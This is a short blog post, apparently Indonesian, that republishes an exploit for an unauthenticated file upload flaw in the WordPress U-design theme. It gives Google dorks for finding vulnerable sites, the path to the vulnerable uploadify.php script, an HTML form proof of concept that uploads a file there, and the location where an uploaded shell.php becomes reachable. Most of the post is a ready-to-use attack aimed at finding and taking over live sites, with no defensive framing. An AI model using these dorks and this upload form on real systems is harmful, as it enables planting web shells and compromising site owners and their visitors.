WordPress Themes U-design File Upload

Author : Unknown1 komentar

---

Dork: inurl:/wp-content/themes/[u/design OR u-design ]

Exploit Title : WordPress Themes U-design File Upload
Author : Mohammad peywasteh
Tested : Win10
-------------------------------------------

Dork: inurl:/wp-content/themes/u-design  << Klik >>

Google Dork : inurl:/wp-content/themes/[u/design OR u-design ]

Exploit : https://localhost/ wp-content/themes/[u/design OR u-design ]/scripts/admin/uploadify/uploadify.php

Vulnerability : Exploit Page 

PoC :

<form method="POST" action="https://localhost/wp-content/themes/u-design/scripts/admin/uploadify/uploadify.php" enctype="multipart/form-data">
<input type="file" name="Filedata" />
<button>Upload!</button><br/>
</form>

Klik >> https://ghostbin.com/paste/ov2md

File Access : https://localhost/patch/shell.php

---

Artikel Terkait

Posted On : Kamis, 01 Juni 2017Time : Juni 01, 2017